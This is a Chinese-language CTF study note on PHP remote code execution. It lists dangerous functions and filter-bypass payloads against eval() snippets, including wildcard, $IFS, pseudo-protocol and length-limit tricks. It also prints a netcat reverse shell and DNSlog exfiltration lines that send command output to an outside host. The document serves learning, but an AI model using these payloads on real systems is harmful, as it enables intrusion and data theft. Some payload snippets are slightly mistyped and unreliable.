RCE_STUDY

概念

RCE(Remote code execution）远程代码执行漏洞，RCE又分命令执行和代码执行。

• RCE-远程代码执行：远程执行PHP代码
• RCE-远程命令执行：远程执行Linux或者Windows等系统命令。

常见函数有：

• PHP：eval(),assert(),preg_replace(),call_user_func(),call_user_func_array()以及array_map()，system, shell_exec, popen, passthru, proc_open等。
• Python：eval,exec,subprocess os.system commands.
• Java：Java里面没有类似于php中的eval函数可以直接将字符串转化为代码执行的函数。但是又反射机制，并且有各种基于反射机制的表达式引擎。ps：OGNL, SpEL, MVEL

绕过姿势

*号绕过(ﾉ*･ω･)ﾉ

这个理解起来其实很简单，这个指令放到Linux里面是这样的

在Linux中，*是一个通配符，代表当前目录下的所有隐藏目录和隐藏文件夹。

我们利用这一点可以绕过CTF中的一些函数。

ps：

<?php
  $c = $_GET['c'];
  if(!preg_match("/flag/i",$c))   //这里的i是大小写的意思
  {
      eval($c);
}
?>

我们看上面的if函数里面写的东西，他是禁止出现flag这个字符串，所以我们可以直接使用*来进行绕过。但是这里我们不仅可以使用cat fla*.php也可以使用tac命令来输出这个fla*.php，命令为tac fla*php.

取代函数 (ﾉ*･ω･)ﾉ

这个方法挺好用的，我们可以看一段具体的php判断代码。

<?php
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php/i",$c))
  {
      eval($c);
}
?>

上文我们的system与php都被禁止了，这里我们可以看到上面的PHP执行命令函数。

我们可以使用里面的shell_exec函数，但是我们要注意，shell_exec函数需要我们把结果输出出来。那我们就可以这样构造payload的了

url?c=echo shell_exec('tac/cat fla*);

参数逃逸(ﾉ*･ω･)ﾉ

我们看到这个姿势，也是通过一个php判断代码

<?php
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |/i",$c))   //这里还过滤的.和空格
  {
      eval($c);
}
?>

我们对参数逃逸进行理解

因为是rce漏洞，所以我们可以使用代码在构造一些新的参数，比如说我们构造一个新的参数，那我们在url中可以先这样写。

url?c=eval($_GET['a']);

这样相当于构造了一个新的参数a，然后页面代码又没有对a参数进行限制，所以我们后面可以直接用a参数来进行对flag.php的读取。

url?c=eval($_GET['a']);&a=cat flag.php;

这就是我们所说的参数逃逸。

管道符绕(ﾉ*･ω･)ﾉ

管道符这里我们分为两个系统的：

windows

1. |：直接执行后面语句
2. ||：前面执行失败，则执行后面
3. &：两个都执行，如果前面的命令为假，则直接执行后面
4. &&如果前面的语句为假则直接出错，也不执行后面，前面为真，则都执行。

Linux

1. |：显示后面语句的结果
2. ||：当前面直接出错，执行后面的语句
3. &：两个都执行，同win
4. &&：前面出错，则不执行后面，两个都为true才都执行，前面只能为true。
5. `：在将括号内的命令处理完毕之后，会将返回的信息传给bash，再次执行。
6. ;：执行完前面执行后面。

包含漏洞+伪协议 (ﾉ*･ω･)ﾉ

这个绕过需要用到我们之前讲到的参数逃逸的思想，我们通过一个例子来看。

<?php
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;(/i",$c))  //这里我们国立了',`和;号。
  {
      eval($c);
}
?>

我们可以看到echo，;和我们之前用的反引号都被过滤掉了，那么既然分号与反引号都被注释掉了，我们就可以使用文件包含的思路。

url?c=include$_GET[a]?>

我们使用?>来将这个php语句进行完成，然后我们后面跟上php的伪协议。这样我们的payload就变成了。

payload:url?c=include$_GET[a]?>&a=data://text/plain,<?tac fla*?>

这里我们使用data协议是因为，用户的输入会被当做php文件来执行，这样一来就达到了我们绕过的思路。

但是我们也可以使用其他的协议。

1.url?c=include[a]?>&a=php;//filter/read=convert.base64-encode/resource=flag.php

2.url?c=include$_GETa]?>&a=php://input post:<?php system('tac flag.php');?>

关键字绕过（总体）(ﾉ*･ω･)ﾉ

这里包含了很多中不同的绕过方式，但是都是属于关键字绕过这个大板块的。

空格绕过

在Linux中，空格可以替换为以下几种：

< <> ${IFS} $IFS %20(space) %09(tab) $IFS$9 $IFS$1等等

cat<flag.php
cat<>flag.php
cat$IFSflag.php
cat${IFS}flag.php
cat%20flag.php
cat%09flag.php
cat$IFS$1flag.php

这里主要是代码审计，看看那些是没有被过滤的，灵活运用。

转义绕过

我们可以使用反斜杠进行转义

ps：

cat flag  --->   ca\t fl\ag
cat flag  --->   ca"t flag
cat flag  --->   ca't flag

这个就不多说了。

特殊变量绕过

我们可以使用Linux中的一些特殊变量进行绕过

ps：

$* $@ $x ${X} //这里的x代表任意值

ca$*t  flag.php
ca$@t flag.php
ca$xt flag.php
ca${X}t flag.php

这些都是shell的特殊变量，也是可以用来绕过的，这种类型可以用在过滤了cat这种命令或者其他关键字符串上面使用。

RE绕过

这个也就是我们最开始的fla*.php。没什么好讲的。

其实这个应该也可以叫做正则表达式绕过。但是我想说，这里还有一个骚操作

比如说我们一下这个实列:

shell -->  ls
-> flag
shell -->  cat ?la*
->flag{ABsec}

Base64编码绕过

这个可以用在一些命令被过滤的情况下使用，比如说我们的ls命令被过滤了，那我们可以将ls这个命令编码

echo 'ls' | base64
->bHMK
`echo 'bHMK' | base64 -d
-> flag.ph  test.php  ......

拼接法

这个的大概思路为，用两个参数来保存flag这个字符串的每个部分。大致如下

a=fl;b=ag;cat$IFS$a$b;

类似于这种。

过滤命令执行函数(ﾉ*･ω･)ﾉ

内敛绕过

这个其实很简单，就是将反引号内的命令的输出作为输入执行。

payload:url?c=127.0.0.1;cat$IFS$!`ls`

会抓取ls返回的所有文件内容。

内敛绕过还有其他的写法，比如下面：

echo $(ls);

?><?=`ls1;

?><?=$(ls);

使用其他函数

还记得我们前面讲的取代函数吗？和这个的思路一样，如果我们的执行命令函数被过滤的花花，我们就需要更换函数了

我们除了shell_exec()还可以用以下几种

system()

passthru()

exec()

popen()

proc_open()

pcntl_exec()

highlight_file()

读取文件

这里我们这样玩，我们除了cat可以显示文本内容以外，在CTF中我们还可以使用一下几个姿势

curl file:///flag
strings flag
uniq -c flag
bash -v flag
rev flag
tac flag
//如果说我们遇到ls被过滤的话，我们也可以使用find
find
-?>  .   ./flag

字符串长度限制(ﾉ*･ω･)ﾉ

这个挺有意思的，在CTF中，题目可能会限制你输入的长度，如果说我们要绕过他的话，我们可以只用上文中的一些思想，我们直接看payload

cat flag
-> flag{ABsec}
touch "ag"
touch "fl\\"
touch "t \\"
touch "ca\\"
ls -t
->ca\ ,  t \  ,  fl\  ,  ag  ,  shell ,  flag
ls -t > shell
sh shell
->flag{ABsec}

首先是里面的一些命令

1. 空格\ ： 这个其实是换行。
2. ls -t ：按照时间将文本排序输出
3. ls -t > shell：将ls -t的输出储存到shell文件中

我们首先是用touch命令创建了几个文件，但是他们的文件名是我们的主要。我们使用两个\\的原因在于，第一个\用于将后面的\变成字符串，第二个\是用来将后面的文本转换为字符串，以便用于后面的测试。

这样我们shell里面的样子应该是这样的：

cat shell
->cat
flag

因为 \就是用来换行的，不然他们连在一起也无法被解析。

$PATH (ﾉ*･ω･)ﾉ

这个是利用环境变量来达到截取字母绕过的目的。

这里我们可以举一个例子：

echo $PATH
/opt/jdk-21/bin         //假如是这样的
echo ${PATH:2:1}
->p
echo ${PATH:3:1}
->t
echo ${PATH:3:2}
->t/

Linux中${PATH:a:b}我们可以理解为从a位开始截取，截取b个长度（/也算一位）

那我们对应这来的话就是这样的

/ o p t / j d k - 2 1 / b i n

0 1 2 3 4 5 6 7 8 9 10 11 12 13

比如说我们echo ${PATH:3:2}

那就表示，我们从t开始，往后截取两位数

输出: t/

但是这样可能也会出现一些没有的字母，但是我们需要那个字母的情况，这个时候我们可以自己取构造一个PATH。

export PATH=$PATH:/abcdefghijklmn/opq/rst/uvw/xyz/0123456789

我们直接将全部的字母和数字都放到环境变量中，需要的时候我们就用上面的那个方法进行构造payload。

无回显RCE

无回显顾名思义没有回显的远程代码执行漏洞，那对于这种情况我们可以这样思考

sleep函数测试

我们在无回显rce中可以使用sleep函数测试一下页面的回响，比如说我们这样写

url?c=ls;sleep 3

http请求dns请求

http://ceye.io/payloads

如果说我们在进行sleep测试的时候确实停了3秒，那么我们可以进行一下的一些思路。

shell获取权限拿flag

更具上面的sleep测试，首先页面无回显，那么我们就不能单纯的在进行我们上面的rce的bypass了，我们可以使用写shell的方式，但是这个shell可以是我们直接写的（echo shell>xxxx.sh）也可以是我们下载的(wget）。

我们手写的话就是这样走：

url?c=nc -e /bin/sh ip port

然后我们本地在使用nc进行监听。

这样是一种拿到flag的一种思路。

DNSlog

dnslog主要争对无回显的情况

• Sqi-Blind
• RCE
• SSRF
• RFI(Remote File inclusion)

但是我们这里只谈RCE的使用。

首先我们介绍一什么是dnslog。

原理

DNS在解析的时候会留下日志，我们将信息放在高级域名中，传递到自己这里，然后通过读日志获取信息。所以这里跟最初的猜想基本一致，原理也就是通过DNS请求后，通过读取日志来获取我们的请求信息。

我们用一个例子来理解这个东西：

c:\>ping %USERNAME%.ABsec.com
ping 请求找不到主机 example.ABsec.como. ......

我们可以看到我们这个ping的命令将example.ABsec.com一起发给了DNS服务器请求解析域名对应的ip地址，这个过程被记录下来就是DNSlog。也就是说，只要可以进行DNS请求，就有可能存在DNSlog注入。

DNSlog常规的Linux的注入是这个样子的payload

curl http://ip.port.exp.ceye.io/`whoami`    //这里的exp.ceye.io就是我们identifier，这里的ip与port均为靶机的ip与port。命令而已自己尝试这换。
ping `whoami`.ip.port.exp.ceye.io

举例

我们拿NSSCTF里面的一道题目举例子

<?php
  error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
  if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
    return($cmd);
  }
  else{
    die("i hate this");
  }
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>

我们看到上面代码，进行代码审计

首先是过滤了;,&,$,x09,x26等关键字，而且还过滤的ping。

在url上面传入一个cmd参数。

再往下看，发现了shell_exec,那么基本可以判定是无回显RCE了。

那我们就可以试试使用DNSlog来进行渗透了。

我们需要用到下面的identifier，这个就是我们后面需要跟的那个域名。

那我们的payload这样写就可以了

payload:url?cmd=curl `cat /fla*`.域名

我们这样写，然后运行，回到我们的ceye中查看flag。

总结

以上就是我对于RCE学习的一个总结，其中也借鉴了很多网上大佬们的文章，也有视频学习的笔记。如果有不足，会很快改的。